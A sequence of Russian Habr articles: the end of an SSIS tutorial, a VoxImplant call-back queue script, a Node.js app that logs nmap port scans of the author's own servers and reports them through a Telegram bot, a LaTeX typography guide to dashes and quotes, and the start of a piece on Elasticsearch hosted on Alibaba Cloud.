Запрос в SQLStatement пропишем следующий:
```
SELECT DateOffset
FROM IntegrationPackageParams
WHERE PackageName=?
```
**Настроим параметр запроса используя системную переменную «System::PackageName»:**

Осталось сбросить результат выполнения запроса в переменную:

Теперь осталось перенастроить «Set LoadFromDate», чтобы в нем использовалась теперь переменная:


Все, можем тестировать новую версию пакета.
**Вот мы и добрались до финиша. Мои поздравления!**
Заключение по третьей части
---------------------------
Уважаемые читатели, эта часть будет заключительной.
В данном цикле статей, я постарался продумать примеры таким образом, чтобы сделать их как можно короче и в свою очередь охватить как можно больше полезных и важных деталей.
Думаю, освоив это, далее вы уже без особого труда сможете освоить работу с остальными компонентами SSIS. В данных статьях я рассмотрел только самые важные компоненты (наиболее часто применяемые на моей практике), но зная только это вы уже можно сделать очень многое. По мере надобности изучайте самостоятельно другие компоненты, в первую очередь порекомендовал бы посмотреть следующее:
* компоненты-контейнеры (Sequence Container, For Loop Container, Foreach Loop Container);
* «Merge Join», который позволяет сделать операции JOIN, LEFT JOIN, FULL JOIN на стороне SSIS (это требует предварительно отсортировать два набора при помощи «Sort»);
* «Conditional Split», который позволяет разбить один поток на несколько в зависимости от условий;
* так же рассмотрите вкладку «Event Handlers», которая позволяет создать дополнительные области для определенного вида события пакета.
Доступного материала на эту тему очень много, используйте MSDN, Youtube и прочие источники.
Я не старался сделать подробный учебник (думаю, все это уже есть), а старался сделать такой материал, который позволит начинающим шаг за шагом создать все с самого нуля и делая все своими руками увидеть всю картину в целом, а после уже имея основу идти дальше самостоятельно. Очень надеюсь, что у меня это получилось и материал окажется полезен именно в таком ключе.
Я очень рад, что мне хватило сил осуществить задуманное и описать все так как я это хотел, даже получилось сделать большее, так как из-за допущенной в этой части ошибки возникли неожиданные повороты сюжета, но так я думаю, стало даже интересней. ;)
Спасибо за внимание! Удачи!
И возможно, до встреч в новых статьях… | https://habr.com/ru/post/330840/ | null | ru | null |
# Делаем очередь входящих звонков с функцией callback
 При звонках в колл-центр компаний часто приходится сталкиваться с большим временем ожидания на линии, многие из нас слушали надоедливую мелодию в течение десятков минут хотя бы раз в жизни. Самое интересное заключается в том, что это совершенно невыгодно компании в колл-центр которой вы звоните, особенно если вы звоните на номер 8-800. К счастью, уже давно придуман способ, позволяющий решить данную проблему — это callback или обратный вызов. Суть этого способа очень простая: позвонившему предлагают отключиться от колл-центра при этом его номер так и остается в очереди на обслуживание и как только его очередь подойдет, то ему автоматически наберут и соединят с оператором, на которого распределился его звонок. Таким образом убиваем сразу несколько зайцев: не занимаются линии колл-центра, не тратятся дорогостоящие минуты 8-800, а клиенты не испытывают лишнего раздражения в ожидании ответа. Вендоры колл-центрового ПО хотят за такую функцию весьма приличных денег, а мы под катом расскажем как данный функционал достаточно просто и быстро реализуется с помощью платформы VoxImplant.
Так как мы [уже писали про организацию колл-центра](http://habrahabr.ru/post/242397/) с помощью VoxImplant, то повторять эту часть в данной статье не будем, а сосредоточимся на изменениях, которые необходимо сделать в сценариях для реализации коллбэк-функции. Сразу замечу, что данная функциональность доступна только для сценариев, в которых подключается модуль ACD для работы с очередями. Сценарий, отвечающий за обработку входящих звонков с учетом нашей коллбэк-функции будет выглядеть следующим образом:
```
// Подключаем модуль ACD
require(Modules.ACD);
var request, // <-- тут будем хранить экземпляр ACDRequest
originalCall, // <-- входящий звонок
callerid,
statusInterval,
callback = false; // <-- флаг для коллбэк-режима
// Вешаем обработчик входящего вызова
VoxEngine.addEventListener(AppEvents.CallAlerting, handleInboundCall);
// Обрабатываем входящий вызов
function handleInboundCall(e) {
originalCall = e.call;
callerid = e.callerid;
// Вешаем обработчики
originalCall.addEventListener(CallEvents.Connected, handleCallConnected);
originalCall.addEventListener(CallEvents.PlaybackFinished, handlePlaybackFinished);
originalCall.addEventListener(CallEvents.Failed, cleanup);
originalCall.addEventListener(CallEvents.Disconnected, cleanup);
// Отвечаем на звонок
originalCall.answer();
}
// Завершаем сессию
function cleanup(e) {
if (request) {
// Если звонок в очереди - удаляем
request.cancel();
request = null;
}
// Закончить сессию
if (!callback) VoxEngine.terminate();
}
// Играем музыку после окончания проигрывания голоса или музыки
function handlePlaybackFinished(e) {
e.call.startPlayback("http://cdn.voximplant.com/toto.mp3");
}
// Обработчик нажатий на кнопки
function handleToneReceived(e) {
if (e.tone == "#") {
callback = true;
originalCall.hangup(); // <-- несмотря на отсутствие звонков сессия не завершится
}
}
// Звонок соединен
function handleCallConnected(e) {
// Включаем обработку нажатий на кнопки телефона
originalCall.handleTones(true);
originalCall.addEventListener(CallEvents.ToneReceived, handleToneReceived);
// Отправляем звонок в очередь 'MainQueue', которую мы создали в панели управления
request = VoxEngine.enqueueACDRequest("MainQueue", callerid);
// Получаем статус после того как звонок поставлен в очередь
request.addEventListener(ACDEvents.Queued, function (acdevent) {
request.getStatus();
});
// Сообщаем звонящему о примерном времени ожидания и месте в очереди
request.addEventListener(ACDEvents.Waiting, function (acdevent) {
var minutesLeft = acdevent.ewt + 1;
var minutesWord = " минуты.";
if ((minutesLeft > 10 && minutesLeft < 20) || (minutesLeft % 10 > 4 || minutesLeft % 10 == 0)) {
minutesWord = " минут.";
} else if (minutesLeft % 10 == 1) {
minutesWord = " минуту.";
}
originalCall.say("Вы находитесь в очереди под номером " + acdevent.position +
". Оператор ответит Вам менее чем через " + (acdevent.ewt + 1) + minutesWord +
" Вы также можете нажать решетку и мы сами перезвоним вам как только оператор будет готов обслужить ваш вызов.", Language.RU_RUSSIAN_FEMALE);
});
// Отправляем звонок оператору
request.addEventListener(ACDEvents.OperatorReached, function (acdevent) {
if (callback) {
// В случае если клиент выбрал коллбэк, то после распределения вызова на оператора сообщаем оператору, что нужно дождаться соединения с клиентом
acdevent.operatorCall.say("Пожалуйста, дождитесь соединения с клиентом.", Language.RU_RUSSIAN_FEMALE);
acdevent.operatorCall.addEventListener(CallEvents.Disconnected, VoxEngine.terminate);
acdevent.operatorCall.addEventListener(CallEvents.PlaybackFinished, function (callevent) {
// Делаем коллбэк. В качестве caller id указываем номер, подтвержденный через верхнее меню панели управления Voximplant.
const callerId = "+1234567890"
originalCall = VoxEngine.callPSTN(callerid, callerId);
originalCall.addEventListener(CallEvents.Connected, function (callevent) {
VoxEngine.sendMediaBetween(acdevent.operatorCall, originalCall);
clearInterval(statusInterval);
});
originalCall.addEventListener(CallEvents.Failed, cleanup);
originalCall.addEventListener(CallEvents.Disconnected, cleanup);
});
} else {
VoxEngine.sendMediaBetween(acdevent.operatorCall, originalCall);
acdevent.operatorCall.addEventListener(CallEvents.Disconnected, VoxEngine.terminate);
clearInterval(statusInterval);
}
});
// Нет доступных операторов - ни один оператор не обслуживает очередь
request.addEventListener(ACDEvents.Offline, function (acdevent) {
originalCall.say("К сожалению, сейчас нет доступных операторов. Пожалуйста, попробуйте позвонить позднее.", Language.RU_RUSSIAN_FEMALE);
originalCall.addEventListener(CallEvents.PlaybackFinished, function (e) {
VoxEngine.terminate();
});
});
// Получаем и сообщаем статус каждые 30 секунд
statusInterval = setInterval(request.getStatus, 30000);
}
```
Вот собственно и все. Немного подправив сценарий из предыдущего туториала про ACD мы получили очередь с коллбэком. Базовый сценарий, который мы меняли, доступен на [github.com/voximplant/acd](https://github.com/voximplant/acd), также как и простейший веб-фон для операторов.
### Работа с очередью через HTTP API
Предыдущий пример был сделан для случая когда сначала есть входящий звонок, в реальной жизни могут встречаться случаи, когда клиент сразу заказывает на сайте коллбэк и нам нужно его разместить в очереди на обработку. В целом, очередь — это абстрактная сущность, туда на обработку можно кидать не только звонки, но и, например, emailы, сообщения и т.д. В такой ситуации сценарий надо запускать через метод [StartScenarios](https://voximplant.com/docs/references/httpapi/scenarios#startscenarios) HTTP API, а сам сценарий немного трансформируется:
```
var displayName, callback = true;
// Обработка заупуска сессии через StartScenarios
VoxEngine.addEventListener(AppEvents.Started, function(e) {
var data = VoxEngine.customData();
// Будем в script_custom_data передавать имя клиента и его номер в виде номер:имя
data = data.split(":");
callerid = data[0];
displayName = data[1];
Logger.write("Put "+displayName+" with number "+callerid+" in a queue");
// Ставим запрос в очередь 'MainQueue'
request = VoxEngine.enqueueACDRequest("MainQueue", callerid);
// ... дальше все то же самое, что и в предыдущем сценарии
});
```
### P.S. А что если...
Нас иногда спрашивают: «а что если мы хотим использовать SIP-телефоны вместо веб-телефонов, сделанных с помощью VoxImplant Web SDK в нашем колл-центре?»
Отвечаем: «как ни странно, это возможно, но подробнее об этом мы расскажем в отдельной статье». | https://habr.com/ru/post/249647/ | null | ru | null |
# CRUD для NMAP’а: решение для мониторинга открытых портов на хостах
Привет, Хабр! Меня зовут Рудаков Александр, я занимаюсь информационной безопасностью в компании "[ЛАНИТ-Интеграция](https://itlanit.ru/)". Однажды, в рамках работы над проектом, мне понадобилось организовать небольшой непрерывный мониторинг (с хранением истории) открытых портов в подсети серверов. Требовалось за короткое время сделать рабочий прототип решения для данной задачи. В этой статье я расскажу о том, как с помощью nmap, Node.JS, PostgreSQL и ORM Sequelize организовать мониторинг открытых портов на хостах.
[*Источник*](https://www.pvsm.ru/images/2016/12/12/Mr-Robot-ubil-gollivudskih-hakerov.jpg)
CRUD-приложение на Node.JS
--------------------------
В прошлой статье я рассказывал про решение для автоматизации процессов [n8n](https://habr.com/ru/company/lanit/blog/529582/). Кстати, после прочтения статьи основатель n8n Ян Оберхаузер полностью согласился с описанными минусами n8n. К сожалению, n8n не является универсальным инструментом, и поэтому захотелось попробовать реализовать серверную часть на Node.JS и познакомиться с JS на бэкенде. Для этого была выбрана задача непрерывного мониторинга открытых портов.
Исходные компоненты будущего решения понятны – сканер портов, база данных и самописное серверное приложение, которое реализует бизнес-логику. В качестве основного модуля выбираем сканер портов NMAP, для которого есть [готовый пакет node-nmap](https://www.npmjs.com/package/node-nmap), позволяющий получить результаты сканирования «на лету» в приложении в виде объектов.
При выборе БД для данного решения я решил остановиться на PostgreSQL вместо NoSQL по следующим причинам:
* open source SQL СУБД;
* логические требования к данным, включая их структуру, определены заранее;
* SQL обеспечивает целостность данных;
* наличие Object-relational mapping (ORM) для Node.JS.
ORM — это [объектно-реляционное отображение](https://ru.wikipedia.org/wiki/ORM), технология программирования, которая связывает базы данных с концепциями объектно-ориентированных языков программирования, создавая «виртуальную объектную базу данных». Обеспечивает работу с данными в терминах классов, а также преобразовывает данные классов в данные для хранения в СУБД.
Особых требований к производительности и отказоустойчивости у меня нет было, так что выбор был предопределен.
Архитектура решения
-------------------
Решение должно выводить отчет по портам для конкретного IP (либо доменного имени) по запросу от бота Telegram. Дополнительно должна присутствовать возможность ручного запуска сканирования по IP-адресу сервера через API посредством curl или Postman. Очень хотелось обойтись без ручного написания SQL-запросов, поэтому я использовал ORM Sequelize.
Основные NPM-пакеты Node.JS, которые использовались в данном решении:
* **Express** в качестве веб-сервера;
* **Sequelize** для работы с БД;
* **Node-nmap** для получения результатов сканирования;
* **Telegraf** для взаимодействия с мессенджером.
Структура БД
------------
Исходя из постановки задачи, нам нужно реализовать типичное CRUD-приложение, которое умеет вносить данные в БД и читать их, формируя простейший отчет. CRUD — акроним, обозначающий четыре базовые функции, используемые при работе с базами данных: создание (create), чтение (read), модификация (update), удаление (delete). Из данных функций в рамках решаемой задачи пока актуальны только создание и чтение для генерации простого отчета.
Я выделил основные сущности предметной области и их взаимосвязи между собой, получив следующую структуру БД.

Здесь представлены следующие таблицы БД:
**scan** – таблица «сканирование» содержит дату проведения сканирования;
**port** – таблица «порт» содержит номер открытого порта и описание сервиса на нем;
**NetObject** – таблица «сетевой объект» содержит IP-адрес/имя хоста, который сканируем;
**ScanNetObjectPort** – таблица, содержащая связь «многие ко многим». Простыми словами, эта таблица показывает, какой порт сетевого объекта в каком сканировании участвовал и какой сервис работал на данном порту. Данная таблица связывает между собой все остальные таблицы.
ORM Sequelize
-------------
Для простой работы с БД решено было использовать [ORM Sequelize](https://sequelize.org/master/index.html). Изучив документацию, подключаем к приложению БД PostgreSQL, которая установлена на том же сервере.
В терминологии Sequelize, модель – это абстракция, которая представляет таблицу в БД. Модель сообщает Sequelize информацию о сущности, которую она представляет, например, имя таблицы в базе данных и какие столбцы у нее есть. Объект – это экземпляр модели с конкретными характеристиками (например, сервер с адресом 127.0.0.1 или порт 22 с сервисом ssh).
Используя ORM, структура базы данных в моделях описывается очень просто:
**Структура БД в ORM**
```
// Table NetObject
const NetObject = sequelize.define(«netObject», {
id: {
type: DataTypes.INTEGER,
autoIncrement: true,
primaryKey: true,
allowNull: false
},
IP: {
type: DataTypes.STRING,
unique: true
}
});
// Table Port
const Port = sequelize.define(«port», {
id: {
type: DataTypes.INTEGER,
autoIncrement: true,
primaryKey: true,
allowNull: false
},
number: {
type: DataTypes.INTEGER
},
description: {
type: DataTypes.STRING,
}
}, {timestamps: false});
// Table Scan
const Scan = sequelize.define(«scan», {
id: {
type: DataTypes.INTEGER,
primaryKey: true,
autoIncrement: true,
},
date: {
type: DataTypes.DATE
}
}, {timestamps: false});
const ScanNetObject = sequelize.define(«ScanNetObject»,{
id: {
type: DataTypes.INTEGER,
autoIncrement: true,
primaryKey: true,
allowNull: false
},
}, {timestamps: false});
```
**Отношения (связи) между таблицами**
```
ScanNetObjectPort.belongsTo(Scan);
ScanNetObjectPort.belongsTo(NetObject);
ScanNetObjectPort.belongsTo(Port);
Scan.hasMany(ScanNetObjectPort);
NetObject.hasMany(ScanNetObjectPort);
Port.hasMany(ScanNetObjectPort);
```
Приведенный выше код создаст нам следующую структуру БД:

Поля **createdAt**, **updatedAt** были автоматически созданы Sequelize. Опцией **{timestamps: false}** эти поля были отключены для моделей **scan** и **port**.
Обратим внимание, что в приведенном описании имена таблиц (**ports, scans**) никогда не определялись явно. Потому, что Sequelize автоматически именуют таблицы, добавляя к имени объекта букву s. За правильное именование в Sequelize для множественных чисел (person -> people) отвечает пакет [inflection-js](https://www.npmjs.com/package/inflection), который в качестве справочника использует [Вики-словарь](https://en.wiktionary.org/). Это небольшое отступление показывает нам уровень абстракции нашего приложения непосредственно от СУБД. За создание таблиц и написание SQL-запросов у нас отвечает Sequelize, и именно поэтому ORM очень любят использовать при реализации pet-проектов, подобных нашему.
NMAP
====
Для данного сканера есть [готовый NPM-пакет node-nmap](https://www.npmjs.com/package/node-nmap), которым мы и воспользуемся. Из документации, понятно, что результаты сканирования представляют собой массив объектов JSON, содержащий информацию о каждом хосте:
**JSON-результат nmap**
```
[
{
«hostname»:«localhost»,
«ip»:«127.0.0.1»,
«mac»:null,
«openPorts»:[
{«port»:22,«protocol»:«tcp»,«service»:«ssh»,«method»:«table»}
],
«osNmap»:null
}
]
```
Таким образом, в функции сканирования и сохранения данных в БД нам достаточно получить адрес объекта сканирования и обработать данный массив.
Сохранение результатов сканирования в БД
----------------------------------------
ORM Sequelize делает за нас большую часть работы по сохранению информации в БД. Напишем отдельную функцию сканирования, которая получает на вход IP-адрес (либо DNS-имя, это тоже валидное значение для nmap). При получении результата сканирования мы должны создать объект **Scan**, содержащий текущую дату и время сканирования. Далее переходим к сетевому объекту, который мы сканируем, он уже может быть в таблице **NetObjects** либо еще нет. Оценим удобство ORM: метод **findOrCreate** применительно к объекту возвращает нам либо новый сетевой объект, либо уже существующий. Затем пробегаем циклом по результатам сканирования, все открытые порты с висящими на них сервисами сохраняем через объект Port. Не забываем привязывать объекты **Scan** и **Port** первичными ключами к объекту **ScanNetObjectPort**.
Итоговая функция сканирования и сохранения информации в БД:
**Сканируем и сохраняем данные в БД**
```
exports.scan_art = (IPaddr) => {
const nmap_scan = new nmap.NmapScan(IPaddr.toString());
console.log(«Starting nmap scan...»);
nmap_scan.on('complete', function(data){
let sca = {«date»: Date.now()};
// Циклом проходим результаты скана (там может быть более 1 адреса), создаем Scan, NetObject (если его нет), ScanNetObjectPort
Scan.create(sca)
.then ((newScan) => {
NetObject.findOrCreate({where:{IP: IPaddr}, defaults: {IP: IPaddr}})
.then((newNetObject) => {
for (let var_host in data){
for (let var_port in data[var_host].openPorts){
let str_port = data[var_host].openPorts[var_port].port.toString();
let str_desc = data[var_host].openPorts[var_port].service.toString();
Port.create({«number»: str_port, «description»: str_desc})
.then((newPort)=>{
const nSNOP = {
«portId»: newPort.id,
«netObjectId»: newNetObject[0].id,
«scanId»: newScan.id
};
ScanNetObjectPort.create(nSNOP)
.then(() => {
console.log(«Port «+str_port+» for host «+IPaddr+» is added to database»);
})
.catch ((error)=> {console.log(«Error on create: newScanNetObjectPort: \n»+error.message)});
})
}
}
})
.catch ((error)=> {console.log(«Error on create: newNetObject: \n»+error.message)});
})
.catch ((error)=> {console.log(«Error on create: newScan: \n»+error.message)});
});
nmap_scan.on('error', function(error){
console.log(error);
});
nmap_scan.startScan();
};
```
В качестве бонуса в консоли видим SQL-запросы, которые за нас реализовал ORM Sequelize:

Сканирование по таймеру делаем просто. Напишем в **nmap.controller.js** функцию **get\_list**, которая возвращает массив IP-адресов объектов сканирования, затем, используя **setInterval,** проводим сканирование всех элементов данного списка в заданный период времени.
**Функция get\_list**
```
exports.get_list = async()=>{
let NetObject_list = await NetObject.findAll();
let list = [];
await NetObject_list.forEach((NO)=> {
list.push(NO.IP.toString());
});
return list;
};
```
**Функция сканирования массива**
```
async function array_scan () {
nmap.get_list().then((scan_list)=>{
scan_list.forEach((scanListKey) =>{
nmap.scan_art(scanListKey.toString());
});
})
}
setInterval(array_scan, 360000);
```
Генерация отчета по результатам сканирования
--------------------------------------------
Процедура генерации отчета с ORM Sequelize довольно проста. Функция генерации отчета получает на вход IP-адрес, затем ищет по данному IP-адресу сетевой объект. Если объект есть в таблице **NetObject**, то по его первичному ключу методом **findAll** объекта **ScanNetObjectPort** мы находим список портов по всем сканированиям. В отчет необходимо вывести дату каждого сканирования, поэтому организуем цикл перебора всех объектов **ScanNetObjectPort**, с учетом даты текущего сканирования. Информация о каждом сервисе на каждом открытом порту выводится в отчет, в подзаголовке пишется дата сканирования. Отчет в тексте выглядит так:
**...**
```
Report for 127.0.0.1
Date: Tue Dec 15 2020 16:53:18 GMT+0300 (Moscow Standard Time)
Port 22 with service ssh
Port 5432 with service postgresql
Port 8080 with service http-proxy
Date: Tue Dec 15 2020 18:25:50 GMT+0300 (Moscow Standard Time)
Port 22 with service ssh
Port 5432 with service postgresql
Port 8080 with service http-proxy
```
Вот так отчет составляется:
**Функция формирования отчета**
```
exports.test_report = (IPaddr) => {
let text_report = «»;
if (IPaddr === undefined) {console.log(«IPaddr is undefined..!»); return;}
let report_promise = new Promise(function (resolve, reject) {
NetObject.findOne({where: {«IP»: IPaddr}}).then(function (NOp) {
if (NOp === null) {console.log(«Not found NetObject by IP «+ IPaddr); return;}
text_report += «Report for « + NOp.IP.toString() + «\n»;
ScanNetObjectPort.findAll({where:{«netObjectId»: NOp.id}, include: [{model: Scan}, {model: Port}]})
.then(async function (sel) {
let scan_id = sel[0].scanId; // запоминаем id первого найденного скана как текущий
let scan_date = null;
await Scan.findByPk(scan_id).then(function (scan1) {
scan_date = scan1.date;
});
text_report += «Date: «+ scan_date.toString() +»\n»;
for (const item of sel) {
if (item.scanId !== scan_id) { // проверяем, текущий ли скан
scan_id = item.scanId;
await Scan.findByPk(scan_id).then(function (scan1) {
scan_date = scan1.date;
text_report += «Date: «+ scan_date.toString() +»\n»;
});
}
await Port.findByPk(item.portId).then (function (p) {
text_report += «Port «+ p.number + « with service « + p.description +»\n»;
});
}
return sel;
})
.then (() => { resolve(text_report);})
.catch((error) =>{console.log(«Error on: ScanNetObjectPort.findAll» + error.message); reject(error);});
});
});
```
Отправка отчета в Telegram
--------------------------
Используем пакет [telegraf](https://github.com/telegraf/telegraf) для Node.JS, чтобы работать с ботом в Telegram. В отдельный модуль для работы с telegram помещаем токен бота и несколько строчек кода для команд типа помощи. Далее через Bot Father создаем свою команду **report**, по который будем генерировать отчет по хосту во второй части команды.
**Отчет в Telegram**
```
exports.run = async ()=> {
bot.command('report', (ctx) => {
const netObjectName = ctx.message.text.split(» «)[1];
if (netObjectName === undefined) {return;}
let promise = new Promise(async function (resolve, reject) {
let var_report = await report.get_test_report(netObjectName.toString());
resolve(var_report);
});
promise.then(function (result) {
ctx.reply(result.toString())
.then(()=>{console.log(«report generating successful!»)})
.catch((error)=>{console.log(«Error on report promise» + error)});
},
function (error) {
ctx.reply(«error on generating report...» + error).then(()=>{console.log(«error on generating report...» + error)});
});
});
bot.launch().then (function () {
console.log(«telegram bot is started»);
})
};
```
Вот так выглядит итоговый отчет:

Выложил проект на [github](https://github.com/AARudakov/nmap-crud), ~~по традиции, оставив токен в первом коммите~~. Для запуска необходимо установить на хост nmap, PostgreSQL, настроить подключение к БД, указать токен для бота в Telegram. Запустить приложение и GET-запросом /nmap?IP=127.0.0.1 с идентификатором хоста выполнить сканирование. Хост сразу попадет в базу и далее по таймауту будет производиться сканирование портов с сохранением данных в БД. Новый хост для сканирования добавляется аналогичным образом. Отчеты смотреть через бота, по запросу типа /report , где IP/URL – идентификатор хоста для сканирования.
Итоги
-----
По сравнению с решением n8n, [которое я пробовал ранее](https://habr.com/ru/company/lanit/blog/529582/), программирование на Node.JS показалось мне намного сложнее. Для написания такого простейшего приложения пришлось изучить много новых вещей: от ORM до промисов в Node.JS. Эти вещи оказались немного сложными для понимания, даже учитывая имеющийся небольшой опыт программирования и опыт работы с фреймворками типа Vue.JS или Modx. Очень понравилось использование ORM, для небольших задач он незаменим.
Резюме
------
Если при решении вашей задачи есть возможность обойтись без программирования, используйте решения типа n8n. Если же решите воспользоваться описанной технологией, то придется изучать JS.
Готов ответить на вопросы. Пишите на [arudakov@lanit.ru](mailto:arudakov@lanit.ru).
Кстати, у нас еще есть вакансии!
* [Инженер по информационной безопасности](https://job.lanit.ru/vacancy/Pages/1420.aspx?utm_source=habr&utm_medium=post-2021-01-14&utm_campaign=ib)
* [Архитектор по информационной безопасности](https://job.lanit.ru/vacancy/Pages/1419.aspx?utm_source=habr&utm_medium=post-2021-01-14&utm_campaign=ib)
* [Консультант/старший консультант по информационной безопасности](https://job.lanit.ru/vacancy/Pages/1367.aspx?utm_source=habr&utm_medium=post-2021-01-14&utm_campaign=ib)
* [Специалист по информационной безопасности](https://job.lanit.ru/vacancy/Pages/1399.aspx?utm_source=habr&utm_medium=post-2021-01-14&utm_campaign=ib) | https://habr.com/ru/post/535514/ | null | ru | null |
# Расстановка дефисов, минусов, тире и кавычек
Вопросы правильной расстановки дефисов, длинного и короткого тире, знака минуса, кавычек-елочек и кавычек-лапок уже неоднократно поднимались в интернете и на Хабре в частности (см. ссылки ниже). Однако по-прежнему, студенты и аспиранты в своих курсовых и дипломных, диссертациях и авторефератах не уделяют достаточного внимания типографике.
В данной заметке я привожу две таблицы с основными правилами расстановки указанных знаков и отбивок между ними при верстке текстов в системе LaTeX, в которой готовится значительная часть квалификационных работ по физико-математическим специальностям.
Со временем возможно появятся похожие таблички с правилами расстановки пробелов, знаков препинания и по оформлению текста в целом.
#### Дефисы, минусы и тире
| Название | LaTeX | HTML | Примеры употребления (LaTeX) |
| --- | --- | --- | --- |
| Дефис (hyphen) | `-` | `-` | * `+7~495~555-55-55`
* `доктор физико-математических наук`
* `док-во существования и единственности`
* `кто-либо, где-то`
* `во-первых, по-русски` *(точнее, здесь должен стоять неразрывный дефис)*
* `бизнес-ланч, интернет-кафе`
* `будем решать задачу методом частица-сетка`
|
| Короткое тире (en-dash) | `--` | `–` ALT+0150 | Числовые диапазоны (не отбивается пробелами):* `через 10--15 минут`
* `1941--1945`
* `алгоритм известен с~50--60-х годов`
Прочие «диапазоны» (отбиваются тонкими пробелами `\,`):* `через два\,--\,три часа`
* `в мае\,--\,июне прошлого года`
* `Поезд <<Москва\,--\,Санкт-Петербург>>`
* `формула Ньютона\,--\,Лейбница на с.~137--138`
* `гибридный метод частица-частица\,--\,частица-сетка`
|
| Длинное тире (em-dash) | `---` | `—` ALT+0151 | Отбивается пробелами (от предыдущего символа — неразрывным `~`):* `Знание~--- сила`
* `Самарский~А.\,А., Николаев~Е.\,С. Методы решения сеточных уравнений.~--- М.: Наука, 1978.`
|
| Знак минуса (minus sign) | `$-$` | `−` ALT+8722 | * `$3-2=1$`
* `абсолютный ноль~--- это около $-273{,}15$ по Цельсию`
|
Общепринятых правил употребления разделителей в «прочих „диапазонах“» я не нашел,
потому приведенные выше правила для этого случая вывел для себя сам, пользуясь здравым
смыслом и ориентируясь на современные книжные издания высокого качества (изд-во РХД).
##### Источники и дополнительные ссылки
1. С. М. Львовский «Набор и вёрстка в LaTeX» (Глава 3. Набор текста — § 1. Специальные типографические знаки — п. 1.1. Дефисы, минусы и тире)
2. А. А. Лебедев «Ководство» ([§ 158. Короткое тире](http://www.artlebedev.ru/kovodstvo/sections/158/))
3. А. А. Лебедев «Ководство» ([§ 97. Тире, минус и дефис, или Черты русской типографики](http://www.artlebedev.ru/kovodstvo/sections/97/))
4. А. А. Лебедев «Ководство» ([§ 62. Экранная типографика](http://www.artlebedev.ru/kovodstvo/sections/62/))
5. [Чёрточки: только ли тире, минус и дефис? / Типографика / Хабрахабр](http://habrahabr.ru/blogs/typography/20588/) (21 февраля 2008)
#### Кавычки
| Название | LaTeX | HTML | Употребление (LaTeX) | Замечание |
| --- | --- | --- | --- | --- |
| Кавычки-«елочки» | `<< >>` | `« »` ALT+0171 ALT+0187 | * `В~языке программирования С элементы многомерных массивов располагаются в памяти <<по строкам>>, а в Фортране~--- <<по столбцам>>.`
* `Тихонов~А.\,Н., Самарский~А.\,А. Уравнения математической физики.~--- 7-е изд.~--- М.: Изд-во МГУ, Изд-во <<Наука>>, 2004.`
* `<<Не надо,~--- сказал я.~--- Не надо мерять на деньги>>.~--- <<Да нет, я~пошутил>>,~--- сказал бородатый (А.~Стругацкий, Б.~Стругацкий)`
* `<<А~может быть, трансгрессировать его?>>~--- <<Ну-ну,~--- сказал горбоносый.~--- Это тебе не диван. Ты не Кристобаль Хунта, да и я тоже\ldots>> (А.~Стругацкий, Б.~Стругацкий)`
| * В русскоязычных текстах принято использовать именно этот тип кавычек
* Точка и запятая ставятся после закрывающей кавычки, а восклицательный и вопросительный знаки и многоточие — перед ней
* Кстати, кавычки не являются частью так называемых «[веб-ссылок](/)»
|
| Кавычки-„лапки“ («9-9 – 6-6») | `\glqq \grqq` | `„ “` ALT+0132 ALT+0147 или ALT+8222 ALT+8220 | * `<<Подробнее об этом вы можете прочитать в~книге А.\,А.~Самарского и~А.\,В.~Гулина \glqq Численные методы\grqq>>,~--- сказал лектор.`
| * В русскоязычных текстах этот тип кавычек принято употреблять в качестве внутренних
|
##### Источники и дополнительные ссылки
1. С. М. Львовский «Набор и вёрстка в LaTeX» (Глава 3. Набор текста — § 1. Специальные типографические знаки — п. 1.2. Кавычки)
2. А. А. Лебедев «Ководство» ([§ 143. Знаки препинания в нестандартных ситуациях](http://www.artlebedev.ru/kovodstvo/sections/143/))
3. А. А. Лебедев «Ководство» ([§ 104. Кавычки](http://www.artlebedev.ru/kovodstvo/sections/104/))
4. А. А. Лебедев «Ководство» ([§ 62. Экранная типографика](http://www.artlebedev.ru/kovodstvo/sections/62/))
5. [Штрихи, штришки и штришочки / Типографика / Хабрахабр](http://habrahabr.ru/blogs/typography/25531/) (16 мая 2008)
6. [Оформление цитат на сайтах / Типографика / Хабрахабр](http://habrahabr.ru/blogs/typography/22163/) (22 марта 2008)
**Upd.** Хабраюзеры [neGODnick](https://habrahabr.ru/users/negodnick/) и [monolith](https://habrahabr.ru/users/monolith/) рекомендуют
* пакет extdash (входит в коллекцию ncctools; см. тж. пакет ncc-latex), в котором вводятся команды, обеспечивающие возможность переноса составных слов, и команды растяжимых полупробелов,
* раздел «The Russian Language» документации к babel, описывающий дополнительные варианты тире и дефисов, в том числе кириллическое длинное тире.
И еще пара полезных ссылок от того же [neGODnick](https://habrahabr.ru/users/negodnick/):
* [forum.ru-board.com/topic.cgi?forum=5&topic=4633](http://forum.ru-board.com/topic.cgi?forum=5&topic=4633)
* [info.vsu.ru/Lists/CyrTeX-ru/List.html](https://info.vsu.ru/Lists/CyrTeX-ru/List.html) | https://habr.com/ru/post/75662/ | null | ru | null |
# «Резиновый хозяин искать на Алибаба облако»: размещаем Elasticsearch на мощностях Alibaba Cloud

Некоторое время назад я рассказывал о нашем опыте решения сложных задач с помощью Elasticsearch. Это была [история про колбасу](https://habr.com/post/413075/), где мы разработали поиск по базе минимум из 50 000 документов, который позволяет искать ингредиенты в составе продуктов и автоматически формировать по ним описание изделий.
Недавно к нам в компанию вновь пришел интересный проект, требующий использования Elasticsearch. В этот раз перед нами стояла задача развернуть ES для работы в приложении на китайской облачной платформе Alibaba Cloud. Здесь помимо технических проблем мы столкнулись с такой неожиданной вещью, как китайский менталитет.
В этой статье речь пойдет исключительно о нашем личном опыте работы с Alibaba Cloud, а не об интерфейсе или стандартных опциях. Я расскажу, что удалось выяснить в общении с представителями платформ Elasticsearch и Alibaba Cloud, и как мы это использовали в решении нашей проблемы.
### Замах на Китай
В начале проекта заказчик сообщил, что первый запуск приложения будет в Китае. Это значительно усложняло задачу: китайское законодательство доставляет довольно много неудобств разработчикам и владельцам сайтов. Одно только получение домена из-за местной бюрократии растягивается на три месяца. А что, если хостить приложение за пределами Китая? — спросите вы. А я в ответ пожелаю вам удачи с запуском в китайской зоне, потому что там подобные трюки практически вне закона.
Нам дали доступ к серверу клиента на Alibaba Cloud и попросили развернуть на нем докер-контейнеры с приложением. Это было первой, но не главной проблемой. Мы пробросили доступы из контейнера в файловую систему, чтобы иметь доступ к файлам проекта на уровне сервера, и вот тут проблемой стало то, что на самом сервере кроме докера ничего не было: ни git, ни nginx, ни php. Все выполнялось на уровне контейнеров, а сервер был только хранилищем данных. Поэтому простой git pull превращался в следующее:
```
docker exec -it b33aee747c5e git pull
```
